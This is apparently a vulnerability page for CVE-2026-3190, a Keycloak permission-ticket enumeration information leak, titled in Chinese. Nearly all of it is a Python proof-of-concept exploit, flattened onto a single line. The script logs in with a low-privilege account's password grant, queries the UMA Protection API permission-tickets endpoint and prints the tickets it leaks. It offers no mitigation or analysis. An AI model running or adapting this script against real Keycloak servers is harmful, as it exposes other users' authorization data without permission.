CVE-2026-3190 Keycloak权限票据枚举信息泄露漏洞

import requests # Configuration target_url = "https://keycloak.example.com" realm = "master" client_id = "resource-server-client" username = "low_priv_user" password = "password" # 1. Authenticate to get a token # The attacker needs a valid token for a resource server client auth_url = f"{target_url}/realms/{realm}/protocol/openid-connect/token" data = { "grant_type": "password", "client_id": client_id, "username": username, "password": password } print("[*] Authenticating...") response = requests.post(auth_url, data=data) if response.status_code == 200: token = response.json().get("access_token") print("[+] Token obtained.") # 2. Exploit: Enumerate permission tickets via UMA Protection API # This endpoint usually requires 'uma_protection' role uma_url = f"{target_url}/realms/{realm}/authz/protection/permission-tickets" headers = { "Authorization": f"Bearer {token}" } print("[*] Attempting to enumerate permission tickets...") exploit_resp = requests.get(uma_url, headers=headers) if exploit_resp.status_code == 200: print("[+] Success! Leaked permission tickets:") print(exploit_resp.text) else: print(f"[-] Failed. Status: {exploit_resp.status_code}") else: print("[-] Authentication failed.")